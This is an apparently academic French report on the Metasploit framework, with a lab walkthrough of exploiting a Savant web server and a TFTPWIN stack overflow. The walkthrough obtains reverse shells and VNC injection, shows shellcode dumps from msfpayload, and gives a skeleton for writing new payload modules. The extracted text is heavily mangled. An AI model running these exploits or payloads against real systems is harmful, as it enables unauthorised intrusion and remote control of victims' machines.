martin pauliat pelletier memoire
TRANSCRIPT
-
8/4/2019 Martin Pauliat Pelletier Memoire
1/25
METASPLOIT
Environnement intgr de test dintrusion
MARTIN Benjamin PAULIAT Romain PELLETIER Alexandre
-
8/4/2019 Martin Pauliat Pelletier Memoire
2/25
Table des matires
1 Prambule 21.1 METAQUOI ? METASPLOIT ! . . . . . . . . . . . . . . . . . . . . . . . . 21.2 Mise en place du framework . . . . . . . . . . . . . . . . . . . . . . . . . . 3
2 Premiers pas avec Metasploit 62.1 Informations gnrales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.2 Configuration de lexploit . . . . . . . . . . . . . . . . . . . . . . . . . . . 82.3 Configuration du payload et lancement de lexploit . . . . . . . . . . . . . 9
3 Explication dun exploit 123.1 Gnralits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.1.1 Acteurs en prsence . . . . . . . . . . . . . . . . . . . . . . . . . . 123.1.2 Description de la faille . . . . . . . . . . . . . . . . . . . . . . . . . 12
3.2 Type de payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123.2.1 Remote Excutable . . . . . . . . . . . . . . . . . . . . . . . . . . . 133.2.2 Meterpreter . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
3.3 VNC Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153.3.1 Droulement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153.3.2 Dissection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16
4 Mise en place dun nouveau payload 184.1 Utilisation de msfpayload . . . . . . . . . . . . . . . . . . . . . . . . . . . 184.2 Ajout dun nouveau payload . . . . . . . . . . . . . . . . . . . . . . . . . . 20
4.2.1 Dclaration dun nouveau payload . . . . . . . . . . . . . . . . . . 204.2.2 Paramtrisation du payload . . . . . . . . . . . . . . . . . . . . . . 21
5 Conclusion 23
1
-
8/4/2019 Martin Pauliat Pelletier Memoire
3/25
Chapitre 1
Prambule
1.1 METAQUOI ? METASPLOIT !
Metasploit est un projet open-source servant, en premier lieu, tester la pntrationde systmes informatiss et permettant le dveloppement rapide dexploits ou depayloads.
Cest un puissant outil disponible gratuitement et comparable aux produits com-merciaux tels que Immunitys CANVAS ou Core Impact. Lintrt de ce framework estla possibilit de rutiliser simplement une grande partie des bouts de code qui auraientautrement dus tre recopis ou rimplments pour chaque exploit.
Cet projet a vu le jour durant lt 2003 en grande partie grce la contributionde H.D Moore et est actuellement disponible dans sa version 3. Initialement dveloppen langage de programmation Perl, le framework a t compltement r-crit pour laversion 3.0 en langage Ruby et ce pour plusieurs raisons.
La ncessit de construction automatique de classes pour la rutilisation de codefut une chose laquelle Perl ne correspondait pas parfaitement. Une autre raison estlexistence dun interprteur natif pour la plateforme Windows. De plus, la syntaxe Rubyest incroyablement simple et fournit le mme niveau de fonctionnalits que les langagescomme Perl.
Metasploit, conu pour tre le plus modulaire possible, se dcompose en plusieursparties. La pice fondamentale de larchitecture est la librairie Rex (Ruby ExtensionLibrary). Certains des composants fournis par Rex incluent un sous-systme demballagede socket, des implmentations de clients et serveurs de protocoles, un sous-systme delogging, des classes utilitaires dexploitation, et un grand nombre dautres classes utiles.
Le niveau le plus bas est le "framework core", responsable de limplmentation detoutes les interfaces requises. Juste au dessus se situe le "framework base" qui est unecouche de librairies permettant dintragir plus simplement avec le framework core.Spars du framework lui-mme, se trouvent les plugins et modules quil va supports.
Ces derniers ont une structure et interface prdfinie pour tre chargs comme tantun des exploits, payload, encodeur ou gnrateur de NOP. Un plugin est dfini commeloutil permettant dtendre ou damliorer les fonctionnalits du framework. Le schmasuivant rsume lensemble des dpendances des modules.
2
-
8/4/2019 Martin Pauliat Pelletier Memoire
4/25
Fig. 1.1 Dpendances des modules du framework 3.0
Lintrt de la structure de Metasploit est de considrer chacun des exploits,payloads ou autres comme tant spars du framework lui-mme, ce qui permet de lesmodifier, sauvegarder et rutiliser. En effet, cette structure se distinguera galementdans larborescence du framework et chacun des modules sera entirement dfini par unfichier crit en langage Ruby, ce qui permettra de rajouter ou de crer simplement sespropres exploits ou payloads.
Aprs avoir abord le ct thorique de Metasploit, intressons nous linstallationet la prise en main dudit framework, qui, comme nous allons le voir, sont dune facilitdconcertante.
1.2 Mise en place du framework
Avant toute chose, le framework ncessite la prsence des librairies Ruby. Celles-cipeuvent tre installes par le biais de votre gestionnaire de paquets (apt-get, yum,dpkg ...) si cela nest pas dja fait. Il est aussi intressant dinstaller la bibliothque
libreadline-ruby qui permettra dutiliser la compltion lors de lutilisation du frame-
work via linetrface console.
Une fois cette prparation termine, rendez-vous ladresse suivante :
http ://www.metasploit.com/framework/download/
Metasploit est disponible sous forme darchive .tar pour le monde UNIX et duninstall .exe pour les plateformes Windows. Dans notre projet, linstallation ralise sestfaite sur des machines tournant sous Ubuntu 8.04 et Fedora 9.
Une fois le tlchargement effectu, dcompressez larchive, linstallation est termineet le framework est prt tre utilis.
3
-
8/4/2019 Martin Pauliat Pelletier Memoire
5/25
Avant de lancer Metasploit, intressons nous un instant au contenu du dossier extrait.Les rpertoires les plus pertinents dans le cadre de ce projet sont :
documentation/ contenant une documentation qui couvre les aspects techniques. exploits/ contenant lensemble des exploits mis disposition par le framework.
Les derniers exploits sont tlchargeables sur le site de Metasploit. payloads/ contenant les payloads des diffrentes architectures et systmes dex-
ploitation. encoders/ contenant diffrents encodeurs de payloads, permettant par exemple
de "xorer" un payload.
On peut remarquer une certaine similitude avec lorganisation des modules dcriteau chapitre prcdent. Cest en effet dans ces rpertoires que les fichiers Ruby sontplacs afin dtre chargs en tant que modules.
Le framework cre aussi un dossier .msf3 la racine du home de lutilisateur. Cedossier contient les fichiers suivants :
config : Fichier de configuration, o sont sauvegardes les variables denviron-
nement et les autres inormation de la session. logs/ : Dossier qui contient les logs de session. modules/ : Modules dfinis par lutilisateur. modcache : Metadata propos des exploits, payloads, plugins, encoders, NOPs,
et de la date de modification de ceux-ci.
A noter quune description complte de chacun des rpertoires est disponible dans ladocumentation de Metasploit.
Nous pouvons maintenant nous attaquer au vif du sujet, lutilisation de Metasploit.Pour se faire, nous avons notre disposition diffrentes interfaces, de la ligne de
commande au mode graphique en passant par linterface web.
msfconsole est linterface de prdilection car elle prsente le meilleur compromisentre clart et rapidit dutilisation, msfgui est un GUI (Graphical User Interface) et
msfweb est lui aussi un GUI mais accessible via un navigateur classique. Voici un aperude ces 3 interfaces :
Fig. 1.2 msfconsole
4
-
8/4/2019 Martin Pauliat Pelletier Memoire
6/25
Fig. 1.3 msfweb
Fig. 1.4 msfgui
Celles-ci ayant un usage quivalent mais lutilisation de msfconsole permettant unemeilleure comprhension du droulement dun exploit, nous favoriserons cette interfacelors des prochaines parties.
5
-
8/4/2019 Martin Pauliat Pelletier Memoire
7/25
Chapitre 2
Premiers pas avec Metasploit
2.1 Informations gnrales
Dans cette partie, nous allons dcrire, en nous appuyant sur un exemple, la statgie adopter pour lancement dun exploit.
Le but de ce chapitre est de mettre en valeur la facilit de prise en main de Metasploit,certains aspects de la configuration ne seront ici pas dtaills, une explication pluspousse sera effectue dans les chapitres suivants.
Le lancement dun exploit se droule en 4 5 phases :
Choisir et configurer lexploit. Choix de la cible. Choisir et configurer le payload. Choix de lencodage du payload (optionnel). Excution de lexploit.
Lors de cet exemple nous attaquerons une machine tournant sous Windows XP SP1 etdadresse IP 192.168.1.5 via la faille du service Savant Web Server 3.1 et ce grce unestation Ubuntu dardresse IP 192.168.1.4.
Cest parti, lancez ./msfconsole, voici ce que vous devriez obtenir :
root@shaka:~/framework-3.2\$ ./msfconsole
< metasploit >
------------
\ ,__,
\ (o o)______(__) )\
|| -- || *
=[ msf v3.2-release
+ -- --=[ 320 exploits - 217 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 99 aux
msf >
6
-
8/4/2019 Martin Pauliat Pelletier Memoire
8/25
Nous pouvons constater quun nombre important dexploits (320) et de payloads(217) sont prsents par dfaut dans Metasploit. Nous verrons plus tard quil est possibledajouter trs simplement des modules annexes, crs de toutes pices ou rcuprs surle web.
Maintenant, premier rflexe, consulter laide :
msf > helpCore Commands
=============
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
exit Exit the console
help Help menu
info Displays information about one or more moduleirb Drop into irb scripting mode
jobs Displays and manages jobs
load Load a framework plugin
loadpath Searches for and loads modules from a path
quit Exit the console
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
unload Unload a framework plugin
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the console library version number
Cette liste reprsente lensemble des commandes supportes par dfaut au lancement
de cette interface. Il est possible dajouter des fonctionnalits au framework via desplugins pour pouvoir par exemple intragir avec une base de donnes SQL.
Dans notre exploit, seules les commandes de base nous seront utiles et plus parti-culirement help, info, set, show et use. En effet, celles-ci permettent de choisir unexploit et un payload, de lister les variables initialiser et deffectuer la configurationapproprie.
Nous allons donc choisir lexploit qui nous concerne, pour cela on utilise la fonctionshow exploits, qui nous permet de lister lensemble des exploits disponibles, en voiciune partie :
7
-
8/4/2019 Martin Pauliat Pelletier Memoire
9/25
msf > show exploits
Exploits
========
Name Description
---- -----------
bsdi/softcart/mercantec_softcart Mercantec SoftCart
freebsd/tacacs/xtacacsd_report XTACACSD
On peut remarquer la corrlation entre le nom de lexploit, qui est de la forme
OS/service/exploit, et le chemin o est stock le fichier Ruby correspondant. Cetteremarque est toute aussi valable pour les autres modules.
Maintenant que notre exploit est charg (en effet, dans la console, la ligne
msf exploit(savant_31_overflow) > est dsormais prsente), il va falloir configurercorrectement celui-ci. Dans la partie qui suit, nous tudierons donc la faon de rcuprerles informations ncessaires et les modifications apporter.
2.2 Configuration de lexploit
Les commandes show options et show targets permettent de lister la configuration
requise par un exploit. Pour une description plus complte du module, il existe info.
msf exploit(savant_31_overflow) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 80 yes The target port
msf exploit(savant_31_overflow) >
8
-
8/4/2019 Martin Pauliat Pelletier Memoire
10/25
On remarque que le champ requis RHOST nest pas renseign. Celui-ci correspond ladresse IP de la machine distante "cible". Afin de linitialiser, on utilise la commande
set qui permet dassigner une valeur une variable. Notons que RPORT, qui par dfautest initialis 80, correspond bien au port http distant. Dans notre exemple RHOST =192.168.1.5, on va donc configurer lexploit de la manire suivante :
msf exploit(savant_31_overflow) > set RHOST 192.168.1.5
RHOST => 192.168.1.5
msf exploit(savant_31_overflow) >
De la mme manire, on configure alors la cible :
msf exploit(savant_31_overflow) > show targets
Exploit targets:
Id Name
-- ----
0 Universal Savant.exe
1 Windows 2000 Pro All - English2 Windows 2000 Pro All - Italian
3 Windows 2000 Pro All - French
4 Windows XP Pro SP2 - English
msf exploit(savant_31_overflow) >
Dans notre exemple, lexploit sappuie sur une faille de lxcutable et nest pas spcifique un OS particulier. On choisira donc Savant.exe comme cible :
msf exploit(savant_31_overflow) > set TARGET 0
TARGET => 0
msf exploit(savant_31_overflow) >
Notre exploit est maintenant bien configur, ne reste plus qu choisir notre payload.
2.3 Configuration du payload et lancement de lexploit
On va maintenant choisir le payload excuter, on procde de la mme manire quepour lexploit i.e on affiche les payloads disponibles et on choisit en consquence. Dansnotre exemple, on veut simplement rcuprer un shell sur la machine distante :
msf exploit(savant_31_overflow) > show payloads
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generic x86 Debug Trap
generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap
generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap
generic/debug_trap/bind_tcp Generic x86 Debug Trap
...
9
-
8/4/2019 Martin Pauliat Pelletier Memoire
11/25
windows/shell/reverse_nonx_tcp Windows Command Shell
windows/shell/reverse_ord_tcp Windows Command Shell
windows/upexec/bind_nonx_tcp Windows Upload/Execute
windows/upexec/reverse_nonx_tcp Windows Upload/Execute
windows/upexec/reverse_ord_tcp Windows Upload/Execute
windows/vncinject/bind_nonx_tcp Windows VNC Inject
windows/vncinject/reverse_nonx_tcp Windows VNC Inject
windows/vncinject/reverse_ord_tcp Windows VNC Inject
msf > set PAYLOAD windows/shell/reverse_nonx_tcp
PAYLOAD => windows/shell/reverse_nonx_tcp
Une fois le payload charg, on utilise show options pour sassurer que tous les champssont bien renseigns. Si tel nest pas le cas il faudra y remdier.
msf exploit(savant_31_overflow) > show options
Module options:
Name Current Setting Required Description---- --------------- -------- -----------
RHOST 192.168.1.5 yes The target address
RPORT 80 yes The target port
Payload options (windows/shell/reverse_nonx_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique:seh, thread, process
LHOST yes The local addressLPORT 4444 yes The local port
Exploit target:
Id Name
-- ----
0 Universal Savant.exe
Dans notre exemple, il va falloir mettre la variable LHOST 192.168.1.4, qui est lIP
de notre machine "attaquante" : msf exploit(savant_31_overflow) > set LHOST 192.168.1.4
LHOST => 192.168.1.4
msf exploit(savant_31_overflow) >
Nous avons fini de configurer le payload. Notre exploit est prt tre lanc grce la commande exploit, dmonstration :
msf exploit(savant_31_overflow) > exploit
[*] Started reverse handler
[*] Searching for a suitable nopsled...
[*] Found one! Sending exploit.
[*] Sending stage (474 bytes)
10
-
8/4/2019 Martin Pauliat Pelletier Memoire
12/25
[*] Command shell session 1 opened
(192.168.1.4:4444 -> 192.168.1.5:1041)
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Savant>cd ..
C:\>dirdir
Le volume dans le lecteur C na pas de nom.
Le numero de serie du volume est 1CE2-D4CE
Repertoire de C:\
24/11/2008 21:39 0 AUTOEXEC.BAT
24/11/2008 21:39 0 CONFIG.SYS
24/11/2008 21:49 Documents and Settings
21/12/2008 19:13 Program Files
01/12/2008 21:12 Savant01/12/2008 22:52 WINDOWS
2 fichier(s) 0 octets
4 Rep(s) 1103221793712 octets libres
C:\>
On a donc "la main" sur la machine distante :-), ce qui signifie que lexploit sest biendroul. Maintenant que lutilisation de Metasploit est comprise, nous allons pouvoir nousintresser plus en dtail au droulement dun exploit.
11
-
8/4/2019 Martin Pauliat Pelletier Memoire
13/25
Chapitre 3
Explication dun exploit
Nous allons tudier dans cette section un scnario dexploit. Beaucoup de papers surMetasploit dcrivent de manire simple les commandes utiliser pour un exploit. Cettepartie sera consacre la ralisation dun exploit simple, et de sa dissection.
3.1 Gnralits3.1.1 Acteurs en prsence
Soit un rseau 192.168.0.0/24 et deux machines Attaquant et Cible.
Lattaquant A : 192.168.0.11 La cible C : 192.168.0.10
La machine Cible propose un service TFTP sur son port 69, avec une version infecte :TFTP Server TFTPWIN 0.4.2 ProSysInfo.
[root@localhost ~]# nmap -sU 192.168.0.10
Starting Nmap 4.52 ( http://insecure.org ) at 2008-12-21 15:22 CET
Interesting ports on 192.168.0.10:
Not shown: 1478 closed ports
PORT STATE SERVICE
69/udp open|filtered tftp
3.1.2 Description de la faille
Cest une faille classique de Stack Overflow. Le serveur TFTP a besoin du usernamede lutilisateur. La taille nest pas verifiee, ce qui permet doverwriter le pointeur deretour eip vers une adresse. Le flux dxcution peut donc tre dtourn.
3.2 Type de payloads
En regardant les payloads proposs par Metasploit, plusieurs catgories semblent sedistinguer :
Etablissement dune connexion entre A et C. Execution dune commande connue de A sur C. VNC inject : Obtention dune interface graphique Meterpreter : Nouveaut de Metasploit 2.3.
12
-
8/4/2019 Martin Pauliat Pelletier Memoire
14/25
La connexion entre A et C peut etre initie par la machine Attaquant A, on parlede bind_shell, ou par la machine Cible C, dans ce cas, on parle de reverse_shell.
Concernant la commande xcuter sur C, celle-ci peut mme tre downloade partir dune url tierce, comme le montre la figure 3.1
Le concept VNCinject consiste uploader une DLL afin de simuler un quivalent de
serveur VNC qui vhicule son flux dans du TCP. Metasploit rcupre ces informations,retranscrit le vritable flux VNC, le met ensuite disposition dun client, comme lemontre la figure 3.4.
3.2.1 Remote Excutable
Si on choisi dutiliser le payload suivant :
windows/download_exec/reverse_nonx_tcp
Le shellcode permet de tlcharger nimporte quel xcutable partir de nimporte
quelle url passe en paramtre afin de lxcuter sur la machine Cible. La figure 3.1dcrit les diffrents flux dinformations prenant part lexploit.
Fig. 3.1 Excution dune commande arbitraire sur la cible
Dautres payloads peuvent tre utliss. De nouveaux payloads peuvent tre tlchargssur le site de Metasploit. Il est galement possible de les crer soi-mme, comme nousverrons dans le chapitre suivant.
3.2.2 Meterpreter
Metasploit offre une plthore de payloads, permettant deffectuer une certaine action
sur une machine cible. Le problme est quun payload permet deffectuer quune seuleaction. Pour cette raison, son but est souvent dtablir un shell. Cela cre donc unnouveau processus. On pourrait se demander sil etait possible dinfecter un service, etdune manire ou dune autre garder la main sur le flux dxcution pour faire passerdes commandes arbitraire directement au sein du processus exploit.
Meterpreter ou Meta-Interpreter est une nouveaut de la version 2.3 et proposece type de fonctionnalit. La faille est exploite sur la machine C, un meta-shell estpropos la machine A, pourvu dun ensemble de commande, comme on peut le voirsur la figure 3.2.
13
-
8/4/2019 Martin Pauliat Pelletier Memoire
15/25
Lintrt gnial de Meterpreter est sa modularit. Un ensemble de nouvelles com-mandes peuvent tre uploades sur la machine Cible de faon dynamique (on the fly).Ce principe dextension permet nimporte quel developpeur de crer facilement unensemble de nouvelles commandes avec le langage de son choix, dont les xcutablesseront sous forme de DLL.
meterpreter> helpCore Core feature set commands
------------ ----------------
read Reads from a communication channel
write Writes to a communication channel
close Closes a communication channel
interact Switch to interactive mode with a channel
help Displays the list of all register commands
exit Exits the client
initcrypt Initializes the cryptographic subsystem
Extensions Feature extension commands
------------ ----------------loadlib Loads a library on the remote endpoint
use Uses a feature extension module
meterpreter>
Fig. 3.2 Mise disposition dun meta-shell
On peut voir sur la figure 3.2 le package core. La figure 3.3 montre comment on peutajouter dynamiquement un autre package, cest a dire uploader un nouveau fichier DLL,comportant dautre commandes. La partie programmation de package de Meterpreterne sera pas dcrite, bien quinteressante, par manque de temps.
meterpreter> use -m Process
loadlib: Loading library from ext950591.dll on the remote machine.
meterpreter>
loadlib: success.
meterpreter> help
Process Process manipulation and execution commands
------------ ----------------
execute Executes a process on the remote endpoint
kill Terminate one or more processes on the remote endpoint
ps List processes on the remote endpoint
meterpreter> execute ...
Fig. 3.3 Ajout de nouvelles commandes dans le meta-shell
On peut voir sur la figure 3.3 que de nouvelles commandes sont venus se greffer aumenu help, aprs le chargement du package Process. De nombreux mcanismes sont mis disposition de la machine A de faon transparente.
14
-
8/4/2019 Martin Pauliat Pelletier Memoire
16/25
3.3 VNC Injection
Pour illustrer nos propos, nous avons choisi de rcuprer linterface graphique de lacible. Notons que cela est possible quelque soit la faille exploite.Notre choix se porte donc sur :
le module /windows/tftp/tftpdwin_long_filename
le payload /windows/vncinject/reverse_nonx_tcp
3.3.1 Droulement
Un certain nombre doptions1 doivent tre positionnes pour permettre le bondroulement de lexploit.
RHOST : Remote Host : Machine C. RPORT : Remote Port : port tftp. LHOST : Local Host : Machine initiant lattaque sur RHOST : Machine A. LPORT : Local Port : Port du reverse Shell. VNCHOST : Emulation du serveur vnc : Machine A. VNCPORT : Port de mise a disposition du flux VNC. DLL : Fichier de dll qui sera uploader sur la machine A. EXITFUNC : Dcide de la manire dont on schappe du processus infect. Pour les
cibles dont le systme dexploitation est Windows, on utilise souvent seh. CHOST, CPORT, ContextInfoFile, EnableContextEncoding, WfsDelay : allonge le delai dattente de session. DisableCourtesyShell : Ce shell permet davoir une console sur lcran de la
machine Cible, mme si lcran est lock.
Remarquons que Metasploit propose un utilitaire pour dcomposer ou forger desshellcodes. Par exemple, nous pouvons facilement voir celui que nous allons utiliser.
\# ./msfpayload windows/vncinject/reverse_nonx_tcp LHOST=192.168.0.11 C
/* windows/vncinject/reverse_nonx_tcp - 177 bytes (stage 1) */
unsigned char buf[] =
"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d\x3c"
"\xb4\x0c\x50\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6";
/* windows/vncinject/reverse_nonx_tcp - 2650 bytes (stage 2) */
unsigned char buf[] =
"\x55\x8b\xec\x81\xec\xa8\x01\x00\x00\x53\x56\x57\xeb\x02\xeb"
"\x04
On peut observer que le shellcode est compos en deux parties, une partie tantplus petite2 et pouvant tenir dans le buffer employ par TFTPWIN. Nous reviendrons plusamplement sur msfpayload lors du chapitre suivant.
1voir section prcdente pour plus dinformations sur la faon de positionner les paramtres2Les tailles ont t tronques pour plus de lisibilit.
15
-
8/4/2019 Martin Pauliat Pelletier Memoire
17/25
Une fois les paramtres positionns, on lance lattaque :
[*] Launching exploit windows/tftp/tftpdwin_long_filename...
[*] Started reverse handler
[*] Trying target Universal - tftpd.exe...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (197133 bytes)...
[*] Upload completed.
[*] Starting local TCP relay on 192.168.0.11:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
[*] Session 1 created for 192.168.0.10:1047
La machine Attaquant obtient directement linterface graphique de la machine
Cible. Celle ci, ne saperoit de rien, jusquau moment o la machine Attaquant kill lasession, cest le moment o le serveur tftp va planter et afficher le message derreur surla machine Cible.
3.3.2 Dissection
Fig. 3.4 Description de lexploit
La figure 3.4 dcrit le droulement chronologique de lexploit. Les paquets sont
observs laide de lutilitaire wireshark3
1. Connexion vers la machine C sur le port RHOST.
Frame 8 (341 bytes on wire, 341 bytes captured)
Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10
User Datagram Protocol, Src Port:52217 (52217), Dst Port:tftp (69)
Trivial File Transfer Protocol
3http ://www.wireshark.org
16
-
8/4/2019 Martin Pauliat Pelletier Memoire
18/25
2. upload de la library VNC vers la machine Cible (VNC injection).
Frame 9 (62 bytes on wire, 62 bytes captured)
Internet Protocol, Src:192.168.0.10 (192.168.0.10), Dst:192.168.0.11
Transmission Control Protocol, Src Port:neod1 (1047), Dst Port:4444
Frame 10 (62 bytes on wire, 62 bytes captured)
Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.10
Transmission Control Protocol, Src Port:krb524 (4444), Dst Port:1047
3. Le serveur Tftp commence son traitement, demande le nom dutilisateur et le placedans la pile du process. Celle ci est symbolise par le rectangle droite de la figure3.4.
4. Dbordement de la pile et dtournement du flux dxcution vers le shellcode.Celui-ci est constitu dinstructions NOP pour augmenter les chances de tomber uneadresse du dbut du buffer.
5. Execution du shellcode, ouverture dune connexion vers A (reverse_shell).
6. Le flux VNC vient est encapsule dans un flux TCP et arrive par le port LPORT. Le
serveur VNC simul prend en entre ce flux TCP et le met disposition sur le portVNCPORT.
Frame 141 (74 bytes on wire, 74 bytes captured)
Internet Protocol, Src:192.168.0.11 (192.168.0.11), Dst:192.168.0.11
Transmission Control Protocol, Src Port:43925 (43925), Dst Port:5900
Virtual Network Computing
7. Si la case Auto est coche, le framework lance un vncviewer sur ce port.
17
-
8/4/2019 Martin Pauliat Pelletier Memoire
19/25
Chapitre 4
Mise en place dun nouveau payload
Comme on la expliqu aux chapitres prcdents, lune des fonctionnalits deMetasploit est que partir dun exploit que lon a dj dans la base de donne, on peuteffectuer plusieurs taches : les payloads. On peut les crer, ce qui est le but de cette partie.
Avant toute chose nous allons revenir sur msfpayload qui nous permet de regarder
les payloads plus en profondeur. Puis nous verrons le principes de base servant crerles singles payloads.
4.1 Utilisation de msfpayload
Msfpayload deux fonctionalits : la premire nous permet essentiellement de voirles shellcodes qui sont injects dans le flot dxecution. Pour la seconde, on le coupleavec un dsassembleur ce qui nous permet de voir ce qui ce passe au niveau du processeur.
On regardera dans cette partie le payload windows/exec. Ce dernier tant petit il estplus facile tudier.
Les payloads se trouvent dans /modules/payloads/. Lutilisation de
msfpayload se fait de la faon suivante :
msfpayload
O les options de msfpayload sont :
S : Un rsum du payload.
C : pour tudier le payload en C.
J : pour tudier le payload en java.
P : pour tudier le payload en Perl.X : pour tudier le payload comme executable.
R : pour tudier le payload comme raw.
Comme le montre le figure 4.1, le payload windows/exec permet dxcuter unecommande sur une machine cible. Il est ncessaire de positionner en paramtre lacommande xcuter sur la cible.
18
-
8/4/2019 Martin Pauliat Pelletier Memoire
20/25
[root@ben-laptop]# ./msfpayload windows/exec CMD=dir S
Name: Windows Execute Command
Version: 5773
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 116
Provided by:
vlad902
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD dir yes The command string to execute
EXITFUNC seh yes Exit technique: seh, thread, process
Description:Execute an arbitrary command
Fig. 4.1 Description du payload windows/exec
On peut regarder ce que donne le payload avec la syntaxe du langage C. On pourraitdonc trs facilement utiliser un payload de Metasploit dans un autre programme C, cequi les rend extrmement portables.
root@ben-laptop# msfpayload windows/exec CMD=dir C
/** windows/exec - 116 bytes
* http://www.metasploit.com
* EXITFUNC=seh, CMD=dir
*/
unsigned char buf[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef"
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31"
"\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b"
"\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
"\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x5f"
"\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad""\x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\xf0\x8a\x04\x5f\x68"
"\x98\xfe\x8a\x0e\x57\xff\xe7\x64\x69\x72\x00";
msfpayload donne galement la possibilit de lister les commandes assembleur util-ises, en couplant la sortie brute avec un dsassembleur, comme par exemple ndisasm1.On utilise loption R pour ce type de sortie.
1http ://sourceforge.net/projects/nasm
19
-
8/4/2019 Martin Pauliat Pelletier Memoire
21/25
root@ben-laptop# msfpayload windows/exec CMD=dir R | ndisasm -u -
00000000 FC cld
00000001 E844000000 call dword 0x4a
...
00000068 6898FE8A0E push 0xe8afe98
0000006D 57 push edi
0000006E FFE7 jmp edi
00000070 64 db 0x6400000071 69 db 0x69
00000072 7200 jc 0x74
00000074 0A db 0x0A
On peut brivement remarquer que la commande DIR est bien prise en compte (0x64,0x69, 0x72). Notons galement que ce payload transporte une chaine de caractres. Sile programme est absent sur le systme cible, une erreur sera gnre. Pour uploaderdynamiquement des programmes, on pourra voir la section relative Meterpreter.
A propos de la syntaxe
Le flux de msfpayload est mis dans un tube par le shell, le programme ndisasmprend la sortie du tube en guise dentre standard, laide du tiret.
Ainsi, on voit ce qui se passe au niveau de lassembleur. Ce qui peut tre utile quandon veut concevoire ces propres payload.
4.2 Ajout dun nouveau payload
4.2.1 Dclaration dun nouveau payload
Un single payload est le type le plus simple des payload, en effet ce dernier se suffit lui-mme : il effectue une unique tache sans avoir besoin de codes auxilliaires.
Nous nous appuierons donc sur ce type de payload au cours de cette partie pourfaciliter la comprhension de linsertion dun nouveau module.
Commenons par regarder quoi celui-ci ressemble gnralement :
require msf/core
require msf/core/handler/bind_tcp
module Msf
module Payloads
module Singles
module Windows
module Exemple
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
...
20
-
8/4/2019 Martin Pauliat Pelletier Memoire
22/25
Ce fichier dbute donc par les dclarations standards, linstar dun fichier enlangage C, et la place des modules pour les dpendances. On remarque ainsi que notremodule, qui porte le nom Exemple est bien un single payload pour une plateformeWindows.
Cette en-tte, qui va charger les bibliothques ncessaires, va nous permettre de grersimplement la prise en charge de notre payload proprement parler et de ses options.
Il ne nous reste plus qu dclarer notre payload, ce que nous allons faire dans lasection qui suit.
4.2.2 Paramtrisation du payload
On va donc sattaquer la configuration de notre payload, pour cela, ce qui nousintresse ici est la deuxime partie du fichier, savoir :
super(merge_info(info,
Name => test d ajout de payload,
Version => $Revision: 5365 $,
Description => Exemple de comment ajouter un single payload,Author => abr,
License => MSF_LICENSE,
Platform => win,
Arch => ARCH_X86,
Handler => Msf::Handler::BindTcp,
Session => Msf::Sessions::CommandShell,
Payload =>
{
Offsets =>
{
LPORT => [ 0, n ],LHOST => [ 15, ADDR ],
EXITFUNC => [ 30, V ],
},
Payload =>
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" +
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
}
))
end end end end end end
Cette partie du payload est le bloc dinitialisation standard. Il comprend le nom telquil saffichera dans linterface au moment de lutilisation, la version qui sert lors dela mise jour de Metasploit via un serveur svn, une brve description du payload , duconcepteur et de la license et enfin lOS sur lequel le payload sapplique et dans queltype darchitecture il est cod.
Le handler sert dfinir quel type de connexion lattaquant se sert, il en plusieurstype :
Bind TCP : connexion cre par lattaquant. Reverse TCP : connexion cre par la cible.
Find port
21
-
8/4/2019 Martin Pauliat Pelletier Memoire
23/25
Find Tag None
Le session sert pour dire quelle librairie sera charge lors de lexploit : soitCommandShell, ou Meterpreter.
Payload =>
{
Offsets =>{
LPORT => [ 0, n ],
LHOST => [ 15, ADDR ],
EXITFUNC => [ 30, V ],
},
